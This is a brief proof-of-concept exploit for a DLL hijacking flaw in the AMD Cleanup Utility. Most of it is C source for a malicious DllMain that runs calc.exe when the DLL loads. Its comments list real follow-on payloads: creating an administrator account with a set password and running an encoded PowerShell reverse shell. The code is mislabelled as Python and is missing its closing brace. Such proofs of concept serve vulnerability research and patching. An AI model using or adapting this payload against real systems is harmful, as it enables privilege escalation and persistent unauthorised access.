A DLL hijacking vulnerability in the AMD Cleanup Utility could allow an attacker to achieve privilege escalation potentially resulting in arbitrary code execution.
The following code is for security research and authorized testing only.
python
#include <windows.h>
#include <stdlib.h>
// PoC for DLL Hijacking vulnerability
// Compile this code as a shared library (DLL) and rename it to the vulnerable DLL expected by the application.
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
// Code runs when the DLL is loaded into the process
// Example: Execute a calculator to demonstrate arbitrary code execution
system("calc.exe");
// In a real attack scenario, this could be:
// system("cmd.exe /c net user attacker P@ssw0rd /add");
// system("cmd.exe /c net localgroup administrators attacker /add");
// Or reverse shell via PowerShell
// system("powershell -e <Base64EncodedPayload>");
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
